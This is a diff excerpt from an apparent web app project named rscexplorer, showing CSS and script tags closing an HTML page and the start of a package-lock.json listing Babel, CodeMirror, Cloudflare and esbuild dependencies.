1065 + outline: none; 1066 + border-color: #ffd54f; 1067 + } 1068 + .raw-input-payload { 1069 + width: 100%; 1070 + padding: 8px; 1071 + background: var(--bg); 1072 + border: 1px solid var(--border); 1073 + border-radius: 3px; 1074 + color: var(--text); 1075 + font-family: var(--font-mono); 1076 + font-size: 11px; 1077 + resize: vertical; 1078 + min-height: 100px; 1079 + } 1080 + .raw-input-payload:focus { 1081 + outline: none; 1082 + border-color: #555; 1083 + } 1084 + .raw-input-buttons { 1085 + display: flex; 1086 + gap: 8px; 1087 + margin-top: 8px; 1088 + } 1089 + .raw-input-buttons button { 1090 + padding: 5px 12px; 1091 + border-radius: 3px; 1092 + font-size: 11px; 1093 + cursor: pointer; 1094 + } 1095 + .raw-input-buttons button:first-child { 1096 + background: #ffd54f; 1097 + border: none; 1098 + color: #000; 1099 + } 1100 + .raw-input-buttons button:first-child:disabled { 1101 + background: #555; 1102 + color: #888; 1103 + cursor: not-allowed; 1104 + } 1105 + .raw-input-buttons button:last-child { 1106 + background: transparent; 1107 + border: 1px solid var(--border); 1108 + color: var(--text-dim); 1109 + } 1110 + .raw-input-buttons button:last-child:hover { 1111 + border-color: #555; 1112 + color: var(--text); 1113 + } 1114 + .log-entry-header-right { 1115 + display: flex; 1116 + align-items: center; 1117 + gap: 8px; 1118 + } 1119 + .delete-entry-btn { 1120 + background: transparent; 1121 + border: none; 1122 + color: var(--text-dim); 1123 + cursor: pointer; 1124 + font-size: 14px; 1125 + padding: 0 4px; 1126 + line-height: 1; 1127 + opacity: 0.5; 1128 + transition: opacity 0.15s, color 0.15s; 1129 + } 1130 + .delete-entry-btn:hover { 1131 + opacity: 1; 1132 + color: #e57373; 1133 + } 1134 + </style> 1135 + <!-- Privacy-friendly analytics by Plausible --> 1136 + <script async src="https://plausible.io/js/pa-CtwoQWR5DSFU93v-DPr1p.js"></script> 1137 + <script> 1138 + window.plausible=window.plausible||function(){(plausible.q=plausible.q||[]).push(arguments)},plausible.init=plausible.init||function(i){plausible.o=i||{}}; 1139 + plausible.init() 1140 + </script> 1141 + </head> 1142 + <body> 1143 + <div id="app" style="display: flex; flex-direction: column; height: 100%; overflow: hidden;"></div> 1144 + <script type="module" src="/src/client/index.jsx"></script> 1145 + </body> 1146 + </html>
+4613
package-lock.json
··· 1 + { 2 + "name": "rscexplorer", 3 + "version": "1.0.0", 4 + "lockfileVersion": 3, 5 + "requires": true, 6 + "packages": { 7 + "": { 8 + "name": "rscexplorer", 9 + "version": "1.0.0", 10 + "license": "MIT", 11 + "dependencies": { 12 + "@babel/standalone": "^7.28.5", 13 + "@codemirror/autocomplete": "^6.20.0", 14 + "@codemirror/commands": "^6.10.0", 15 + "@codemirror/lang-javascript": "^6.2.4", 16 + "@codemirror/language": "^6.11.3", 17 + "@codemirror/state": "^6.5.2", 18 + "@codemirror/theme-one-dark": "^6.1.3", 19 + "@codemirror/view": "^6.39.4", 20 + "@lezer/highlight": "^1.2.3", 21 + "codemirror": "^6.0.2", 22 + "react": "19.2.3", 23 + "react-dom": "19.2.3", 24 + "react-server-dom-webpack": "19.2.3", 25 + "text-encoding": "^0.7.0", 26 + "web-streams-polyfill": "^4.2.0" 27 + }, 28 + "devDependencies": { 29 + "@vitejs/plugin-react": "^5.1.2", 30 + "@vitest/browser": "^4.0.15", 31 + "@vitest/browser-playwright": "^4.0.15", 32 + "playwright": "^1.57.0", 33 + "rolldown": "^1.0.0-beta.54", 34 + "vite": "npm:rolldown-vite@latest", 35 + "vitest": "^4.0.15", 36 + "wrangler": "^4.0.0" 37 + } 38 + }, 39 + "node_modules/@babel/code-frame": { 40 + "version": "7.27.1", 41 + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", 42 + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", 43 + "dev": true, 44 + "license": "MIT", 45 + "dependencies": { 46 + "@babel/helper-validator-identifier": "^7.27.1", 47 + "js-tokens": "^4.0.0", 48 + "picocolors": "^1.1.1" 49 + }, 50 + "engines": { 51 + "node": ">=6.9.0" 52 + } 53 + }, 54 + "node_modules/@babel/compat-data": { 55 + "version": "7.28.5", 56 + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", 57 + "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", 58 + "dev": true, 59 + "license": "MIT", 60 + "engines": { 61 + "node": ">=6.9.0" 62 + } 63 + }, 64 + "node_modules/@babel/core": { 65 + "version": "7.28.5", 66 + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", 67 + "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", 68 + "dev": true, 69 + "license": "MIT", 70 + "dependencies": { 71 + "@babel/code-frame": "^7.27.1", 72 + "@babel/generator": "^7.28.5", 73 + "@babel/helper-compilation-targets": "^7.27.2", 74 + "@babel/helper-module-transforms": "^7.28.3", 75 + "@babel/helpers": "^7.28.4", 76 + "@babel/parser": "^7.28.5", 77 + "@babel/template": "^7.27.2", 78 + "@babel/traverse": "^7.28.5", 79 + "@babel/types": "^7.28.5", 80 + "@jridgewell/remapping": "^2.3.5", 81 + "convert-source-map": "^2.0.0", 82 + "debug": "^4.1.0", 83 + "gensync": "^1.0.0-beta.2", 84 + "json5": "^2.2.3", 85 + "semver": "^6.3.1" 86 + }, 87 + "engines": { 88 + "node": ">=6.9.0" 89 + }, 90 + "funding": { 91 + "type": "opencollective", 92 + "url": "https://opencollective.com/babel" 93 + } 94 + }, 95 + "node_modules/@babel/generator": { 96 + "version": "7.28.5", 97 + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", 98 + "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==", 99 + "dev": true, 100 + "license": "MIT", 101 + "dependencies": { 102 + "@babel/parser": "^7.28.5", 103 + "@babel/types": "^7.28.5", 104 + "@jridgewell/gen-mapping": "^0.3.12", 105 + "@jridgewell/trace-mapping": "^0.3.28", 106 + "jsesc": "^3.0.2" 107 + }, 108 + "engines": { 109 + "node": ">=6.9.0" 110 + } 111 + }, 112 + "node_modules/@babel/helper-compilation-targets": { 113 + "version": "7.27.2", 114 + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", 115 + "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", 116 + "dev": true, 117 + "license": "MIT", 118 + "dependencies": { 119 + "@babel/compat-data": "^7.27.2", 120 + "@babel/helper-validator-option": "^7.27.1", 121 + "browserslist": "^4.24.0", 122 + "lru-cache": "^5.1.1", 123 + "semver": "^6.3.1" 124 + }, 125 + "engines": { 126 + "node": ">=6.9.0" 127 + } 128 + }, 129 + "node_modules/@babel/helper-globals": { 130 + "version": "7.28.0", 131 + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", 132 + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", 133 + "dev": true, 134 + "license": "MIT", 135 + "engines": { 136 + "node": ">=6.9.0" 137 + } 138 + }, 139 + "node_modules/@babel/helper-module-imports": { 140 + "version": "7.27.1", 141 + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", 142 + "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", 143 + "dev": true, 144 + "license": "MIT", 145 + "dependencies": { 146 + "@babel/traverse": "^7.27.1", 147 + "@babel/types": "^7.27.1" 148 + }, 149 + "engines": { 150 + "node": ">=6.9.0" 151 + } 152 + }, 153 + "node_modules/@babel/helper-module-transforms": { 154 + "version": "7.28.3", 155 + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", 156 + "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==", 157 + "dev": true, 158 + "license": "MIT", 159 + "dependencies": { 160 + "@babel/helper-module-imports": "^7.27.1", 161 + "@babel/helper-validator-identifier": "^7.27.1", 162 + "@babel/traverse": "^7.28.3" 163 + }, 164 + "engines": { 165 + "node": ">=6.9.0" 166 + }, 167 + "peerDependencies": { 168 + "@babel/core": "^7.0.0" 169 + } 170 + }, 171 + "node_modules/@babel/helper-plugin-utils": { 172 + "version": "7.27.1", 173 + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", 174 + "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", 175 + "dev": true, 176 + "license": "MIT", 177 + "engines": { 178 + "node": ">=6.9.0" 179 + } 180 + }, 181 + "node_modules/@babel/helper-string-parser": { 182 + "version": "7.27.1", 183 + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", 184 + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", 185 + "dev": true, 186 + "license": "MIT", 187 + "engines": { 188 + "node": ">=6.9.0" 189 + } 190 + }, 191 + "node_modules/@babel/helper-validator-identifier": { 192 + "version": "7.28.5", 193 + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", 194 + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", 195 + "dev": true, 196 + "license": "MIT", 197 + "engines": { 198 + "node": ">=6.9.0" 199 + } 200 + }, 201 + "node_modules/@babel/helper-validator-option": { 202 + "version": "7.27.1", 203 + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", 204 + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", 205 + "dev": true, 206 + "license": "MIT", 207 + "engines": { 208 + "node": ">=6.9.0" 209 + } 210 + }, 211 + "node_modules/@babel/helpers": { 212 + "version": "7.28.4", 213 + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", 214 + "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==", 215 + "dev": true, 216 + "license": "MIT", 217 + "dependencies": { 218 + "@babel/template": "^7.27.2", 219 + "@babel/types": "^7.28.4" 220 + }, 221 + "engines": { 222 + "node": ">=6.9.0" 223 + } 224 + }, 225 + "node_modules/@babel/parser": { 226 + "version": "7.28.5", 227 + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", 228 + "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==", 229 + "dev": true, 230 + "license": "MIT", 231 + "dependencies": { 232 + "@babel/types": "^7.28.5" 233 + }, 234 + "bin": { 235 + "parser": "bin/babel-parser.js" 236 + }, 237 + "engines": { 238 + "node": ">=6.0.0" 239 + } 240 + }, 241 + "node_modules/@babel/plugin-transform-react-jsx-self": { 242 + "version": "7.27.1", 243 + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", 244 + "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", 245 + "dev": true, 246 + "license": "MIT", 247 + "dependencies": { 248 + "@babel/helper-plugin-utils": "^7.27.1" 249 + }, 250 + "engines": { 251 + "node": ">=6.9.0" 252 + }, 253 + "peerDependencies": { 254 + "@babel/core": "^7.0.0-0" 255 + } 256 + }, 257 + "node_modules/@babel/plugin-transform-react-jsx-source": { 258 + "version": "7.27.1", 259 + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", 260 + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", 261 + "dev": true, 262 + "license": "MIT", 263 + "dependencies": { 264 + "@babel/helper-plugin-utils": "^7.27.1" 265 + }, 266 + "engines": { 267 + "node": ">=6.9.0" 268 + }, 269 + "peerDependencies": { 270 + "@babel/core": "^7.0.0-0" 271 + } 272 + }, 273 + "node_modules/@babel/standalone": { 274 + "version": "7.28.5", 275 + "resolved": "https://registry.npmjs.org/@babel/standalone/-/standalone-7.28.5.tgz", 276 + "integrity": "sha512-1DViPYJpRU50irpGMfLBQ9B4kyfQuL6X7SS7pwTeWeZX0mNkjzPi0XFqxCjSdddZXUQy4AhnQnnesA/ZHnvAdw==", 277 + "license": "MIT", 278 + "engines": { 279 + "node": ">=6.9.0" 280 + } 281 + }, 282 + "node_modules/@babel/template": { 283 + "version": "7.27.2", 284 + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", 285 + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", 286 + "dev": true, 287 + "license": "MIT", 288 + "dependencies": { 289 + "@babel/code-frame": "^7.27.1", 290 + "@babel/parser": "^7.27.2", 291 + "@babel/types": "^7.27.1" 292 + }, 293 + "engines": { 294 + "node": ">=6.9.0" 295 + } 296 + }, 297 + "node_modules/@babel/traverse": { 298 + "version": "7.28.5", 299 + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", 300 + "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==", 301 + "dev": true, 302 + "license": "MIT", 303 + "dependencies": { 304 + "@babel/code-frame": "^7.27.1", 305 + "@babel/generator": "^7.28.5", 306 + "@babel/helper-globals": "^7.28.0", 307 + "@babel/parser": "^7.28.5", 308 + "@babel/template": "^7.27.2", 309 + "@babel/types": "^7.28.5", 310 + "debug": "^4.3.1" 311 + }, 312 + "engines": { 313 + "node": ">=6.9.0" 314 + } 315 + }, 316 + "node_modules/@babel/types": { 317 + "version": "7.28.5", 318 + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", 319 + "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==", 320 + "dev": true, 321 + "license": "MIT", 322 + "dependencies": { 323 + "@babel/helper-string-parser": "^7.27.1", 324 + "@babel/helper-validator-identifier": "^7.28.5" 325 + }, 326 + "engines": { 327 + "node": ">=6.9.0" 328 + } 329 + }, 330 + "node_modules/@cloudflare/kv-asset-handler": { 331 + "version": "0.4.1", 332 + "resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.4.1.tgz", 333 + "integrity": "sha512-Nu8ahitGFFJztxUml9oD/DLb7Z28C8cd8F46IVQ7y5Btz575pvMY8AqZsXkX7Gds29eCKdMgIHjIvzskHgPSFg==", 334 + "dev": true, 335 + "license": "MIT OR Apache-2.0", 336 + "dependencies": { 337 + "mime": "^3.0.0" 338 + }, 339 + "engines": { 340 + "node": ">=18.0.0" 341 + } 342 + }, 343 + "node_modules/@cloudflare/kv-asset-handler/node_modules/mime": { 344 + "version": "3.0.0", 345 + "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz", 346 + "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", 347 + "dev": true, 348 + "license": "MIT", 349 + "bin": { 350 + "mime": "cli.js" 351 + }, 352 + "engines": { 353 + "node": ">=10.0.0" 354 + } 355 + }, 356 + "node_modules/@cloudflare/unenv-preset": { 357 + "version": "2.7.13", 358 + "resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.7.13.tgz", 359 + "integrity": "sha512-NulO1H8R/DzsJguLC0ndMuk4Ufv0KSlN+E54ay9rn9ZCQo0kpAPwwh3LhgpZ96a3Dr6L9LqW57M4CqC34iLOvw==", 360 + "dev": true, 361 + "license": "MIT OR Apache-2.0", 362 + "peerDependencies": { 363 + "unenv": "2.0.0-rc.24", 364 + "workerd": "^1.20251202.0" 365 + }, 366 + "peerDependenciesMeta": { 367 + "workerd": { 368 + "optional": true 369 + } 370 + } 371 + }, 372 + "node_modules/@cloudflare/workerd-darwin-64": { 373 + "version": "1.20251210.0", 374 + "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-64/-/workerd-darwin-64-1.20251210.0.tgz", 375 + "integrity": "sha512-Nn9X1moUDERA9xtFdCQ2XpQXgAS9pOjiCxvOT8sVx9UJLAiBLkfSCGbpsYdarODGybXCpjRlc77Yppuolvt7oQ==", 376 + "cpu": [ 377 + "x64" 378 + ], 379 + "dev": true, 380 + "license": "Apache-2.0", 381 + "optional": true, 382 + "os": [ 383 + "darwin" 384 + ], 385 + "engines": { 386 + "node": ">=16" 387 + } 388 + }, 389 + "node_modules/@cloudflare/workerd-darwin-arm64": { 390 + "version": "1.20251210.0", 391 + "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-arm64/-/workerd-darwin-arm64-1.20251210.0.tgz", 392 + "integrity": "sha512-Mg8iYIZQFnbevq/ls9eW/eneWTk/EE13Pej1MwfkY5et0jVpdHnvOLywy/o+QtMJFef1AjsqXGULwAneYyBfHw==", 393 + "cpu": [ 394 + "arm64" 395 + ], 396 + "dev": true, 397 + "license": "Apache-2.0", 398 + "optional": true, 399 + "os": [ 400 + "darwin" 401 + ], 402 + "engines": { 403 + "node": ">=16" 404 + } 405 + }, 406 + "node_modules/@cloudflare/workerd-linux-64": { 407 + "version": "1.20251210.0", 408 + "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-64/-/workerd-linux-64-1.20251210.0.tgz", 409 + "integrity": "sha512-kjC2fCZhZ2Gkm1biwk2qByAYpGguK5Gf5ic8owzSCUw0FOUfQxTZUT9Lp3gApxsfTLbbnLBrX/xzWjywH9QR4g==", 410 + "cpu": [ 411 + "x64" 412 + ], 413 + "dev": true, 414 + "license": "Apache-2.0", 415 + "optional": true, 416 + "os": [ 417 + "linux" 418 + ], 419 + "engines": { 420 + "node": ">=16" 421 + } 422 + }, 423 + "node_modules/@cloudflare/workerd-linux-arm64": { 424 + "version": "1.20251210.0", 425 + "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-arm64/-/workerd-linux-arm64-1.20251210.0.tgz", 426 + "integrity": "sha512-2IB37nXi7PZVQLa1OCuO7/6pNxqisRSO8DmCQ5x/3sezI5op1vwOxAcb1osAnuVsVN9bbvpw70HJvhKruFJTuA==", 427 + "cpu": [ 428 + "arm64" 429 + ], 430 + "dev": true, 431 + "license": "Apache-2.0", 432 + "optional": true, 433 + "os": [ 434 + "linux" 435 + ], 436 + "engines": { 437 + "node": ">=16" 438 + } 439 + }, 440 + "node_modules/@cloudflare/workerd-windows-64": { 441 + "version": "1.20251210.0", 442 + "resolved": "https://registry.npmjs.org/@cloudflare/workerd-windows-64/-/workerd-windows-64-1.20251210.0.tgz", 443 + "integrity": "sha512-Uaz6/9XE+D6E7pCY4OvkCuJHu7HcSDzeGcCGY1HLhojXhHd7yL52c3yfiyJdS8hPatiAa0nn5qSI/42+aTdDSw==", 444 + "cpu": [ 445 + "x64" 446 + ], 447 + "dev": true, 448 + "license": "Apache-2.0", 449 + "optional": true, 450 + "os": [ 451 + "win32" 452 + ], 453 + "engines": { 454 + "node": ">=16" 455 + } 456 + }, 457 + "node_modules/@codemirror/autocomplete": { 458 + "version": "6.20.0", 459 + "resolved": "https://registry.npmjs.org/@codemirror/autocomplete/-/autocomplete-6.20.0.tgz", 460 + "integrity": "sha512-bOwvTOIJcG5FVo5gUUupiwYh8MioPLQ4UcqbcRf7UQ98X90tCa9E1kZ3Z7tqwpZxYyOvh1YTYbmZE9RTfTp5hg==", 461 + "license": "MIT", 462 + "dependencies": { 463 + "@codemirror/language": "^6.0.0", 464 + "@codemirror/state": "^6.0.0", 465 + "@codemirror/view": "^6.17.0", 466 + "@lezer/common": "^1.0.0" 467 + } 468 + }, 469 + "node_modules/@codemirror/commands": { 470 + "version": "6.10.0", 471 + "resolved": "https://registry.npmjs.org/@codemirror/commands/-/commands-6.10.0.tgz", 472 + "integrity": "sha512-2xUIc5mHXQzT16JnyOFkh8PvfeXuIut3pslWGfsGOhxP/lpgRm9HOl/mpzLErgt5mXDovqA0d11P21gofRLb9w==", 473 + "license": "MIT", 474 + "dependencies": { 475 + "@codemirror/language": "^6.0.0", 476 + "@codemirror/state": "^6.4.0", 477 + "@codemirror/view": "^6.27.0", 478 + "@lezer/common": "^1.1.0" 479 + } 480 + }, 481 + "node_modules/@codemirror/lang-javascript": { 482 + "version": "6.2.4", 483 + "resolved": "https://registry.npmjs.org/@codemirror/lang-javascript/-/lang-javascript-6.2.4.tgz", 484 + "integrity": "sha512-0WVmhp1QOqZ4Rt6GlVGwKJN3KW7Xh4H2q8ZZNGZaP6lRdxXJzmjm4FqvmOojVj6khWJHIb9sp7U/72W7xQgqAA==", 485 + "license": "MIT", 486 + "dependencies": { 487 + "@codemirror/autocomplete": "^6.0.0", 488 + "@codemirror/language": "^6.6.0", 489 + "@codemirror/lint": "^6.0.0", 490 + "@codemirror/state": "^6.0.0", 491 + "@codemirror/view": "^6.17.0", 492 + "@lezer/common": "^1.0.0", 493 + "@lezer/javascript": "^1.0.0" 494 + } 495 + }, 496 + "node_modules/@codemirror/language": { 497 + "version": "6.11.3", 498 + "resolved": "https://registry.npmjs.org/@codemirror/language/-/language-6.11.3.tgz", 499 + "integrity": "sha512-9HBM2XnwDj7fnu0551HkGdrUrrqmYq/WC5iv6nbY2WdicXdGbhR/gfbZOH73Aqj4351alY1+aoG9rCNfiwS1RA==", 500 + "license": "MIT", 501 + "dependencies": { 502 + "@codemirror/state": "^6.0.0", 503 + "@codemirror/view": "^6.23.0", 504 + "@lezer/common": "^1.1.0", 505 + "@lezer/highlight": "^1.0.0", 506 + "@lezer/lr": "^1.0.0", 507 + "style-mod": "^4.0.0" 508 + } 509 + }, 510 + "node_modules/@codemirror/lint": { 511 + "version": "6.9.2", 512 + "resolved": "https://registry.npmjs.org/@codemirror/lint/-/lint-6.9.2.tgz", 513 + "integrity": "sha512-sv3DylBiIyi+xKwRCJAAsBZZZWo82shJ/RTMymLabAdtbkV5cSKwWDeCgtUq3v8flTaXS2y1kKkICuRYtUswyQ==", 514 + "license": "MIT", 515 + "dependencies": { 516 + "@codemirror/state": "^6.0.0", 517 + "@codemirror/view": "^6.35.0", 518 + "crelt": "^1.0.5" 519 + } 520 + }, 521 + "node_modules/@codemirror/search": { 522 + "version": "6.5.11", 523 + "resolved": "https://registry.npmjs.org/@codemirror/search/-/search-6.5.11.tgz", 524 + "integrity": "sha512-KmWepDE6jUdL6n8cAAqIpRmLPBZ5ZKnicE8oGU/s3QrAVID+0VhLFrzUucVKHG5035/BSykhExDL/Xm7dHthiA==", 525 + "license": "MIT", 526 + "dependencies": { 527 + "@codemirror/state": "^6.0.0", 528 + "@codemirror/view": "^6.0.0", 529 + "crelt": "^1.0.5" 530 + } 531 + }, 532 + "node_modules/@codemirror/state": { 533 + "version": "6.5.2", 534 + "resolved": "https://registry.npmjs.org/@codemirror/state/-/state-6.5.2.tgz", 535 + "integrity": "sha512-FVqsPqtPWKVVL3dPSxy8wEF/ymIEuVzF1PK3VbUgrxXpJUSHQWWZz4JMToquRxnkw+36LTamCZG2iua2Ptq0fA==", 536 + "license": "MIT", 537 + "dependencies": { 538 + "@marijn/find-cluster-break": "^1.0.0" 539 + } 540 + }, 541 + "node_modules/@codemirror/theme-one-dark": { 542 + "version": "6.1.3", 543 + "resolved": "https://registry.npmjs.org/@codemirror/theme-one-dark/-/theme-one-dark-6.1.3.tgz", 544 + "integrity": "sha512-NzBdIvEJmx6fjeremiGp3t/okrLPYT0d9orIc7AFun8oZcRk58aejkqhv6spnz4MLAevrKNPMQYXEWMg4s+sKA==", 545 + "license": "MIT", 546 + "dependencies": { 547 + "@codemirror/language": "^6.0.0", 548 + "@codemirror/state": "^6.0.0", 549 + "@codemirror/view": "^6.0.0", 550 + "@lezer/highlight": "^1.0.0" 551 + } 552 + }, 553 + "node_modules/@codemirror/view": { 554 + "version": "6.39.4", 555 + "resolved": "https://registry.npmjs.org/@codemirror/view/-/view-6.39.4.tgz", 556 + "integrity": "sha512-xMF6OfEAUVY5Waega4juo1QGACfNkNF+aJLqpd8oUJz96ms2zbfQ9Gh35/tI3y8akEV31FruKfj7hBnIU/nkqA==", 557 + "license": "MIT", 558 + "dependencies": { 559 + "@codemirror/state": "^6.5.0", 560 + "crelt": "^1.0.6", 561 + "style-mod": "^4.1.0", 562 + "w3c-keyname": "^2.2.4" 563 + } 564 + }, 565 + "node_modules/@cspotcode/source-map-support": { 566 + "version": "0.8.1", 567 + "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", 568 + "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", 569 + "dev": true, 570 + "license": "MIT", 571 + "dependencies": { 572 + "@jridgewell/trace-mapping": "0.3.9" 573 + }, 574 + "engines": { 575 + "node": ">=12" 576 + } 577 + }, 578 + "node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping": { 579 + "version": "0.3.9", 580 + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", 581 + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", 582 + "dev": true, 583 + "license": "MIT", 584 + "dependencies": { 585 + "@jridgewell/resolve-uri": "^3.0.3", 586 + "@jridgewell/sourcemap-codec": "^1.4.10" 587 + } 588 + }, 589 + "node_modules/@emnapi/core": { 590 + "version": "1.7.1", 591 + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.7.1.tgz", 592 + "integrity": "sha512-o1uhUASyo921r2XtHYOHy7gdkGLge8ghBEQHMWmyJFoXlpU58kIrhhN3w26lpQb6dspetweapMn2CSNwQ8I4wg==", 593 + "dev": true, 594 + "license": "MIT", 595 + "optional": true, 596 + "dependencies": { 597 + "@emnapi/wasi-threads": "1.1.0", 598 + "tslib": "^2.4.0" 599 + } 600 + }, 601 + "node_modules/@emnapi/runtime": { 602 + "version": "1.7.1", 603 + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.7.1.tgz", 604 + "integrity": "sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA==", 605 + "dev": true, 606 + "license": "MIT", 607 + "optional": true, 608 + "dependencies": { 609 + "tslib": "^2.4.0" 610 + } 611 + }, 612 + "node_modules/@emnapi/wasi-threads": { 613 + "version": "1.1.0", 614 + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.1.0.tgz", 615 + "integrity": "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==", 616 + "dev": true, 617 + "license": "MIT", 618 + "optional": true, 619 + "dependencies": { 620 + "tslib": "^2.4.0" 621 + } 622 + }, 623 + "node_modules/@esbuild/aix-ppc64": { 624 + "version": "0.27.0", 625 + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.0.tgz", 626 + "integrity": "sha512-KuZrd2hRjz01y5JK9mEBSD3Vj3mbCvemhT466rSuJYeE/hjuBrHfjjcjMdTm/sz7au+++sdbJZJmuBwQLuw68A==", 627 + "cpu": [ 628 + "ppc64" 629 + ], 630 + "dev": true, 631 + "license": "MIT", 632 + "optional": true, 633 + "os": [ 634 + "aix" 635 + ], 636 + "engines": { 637 + "node": ">=18" 638 + } 639 + }, 640 + 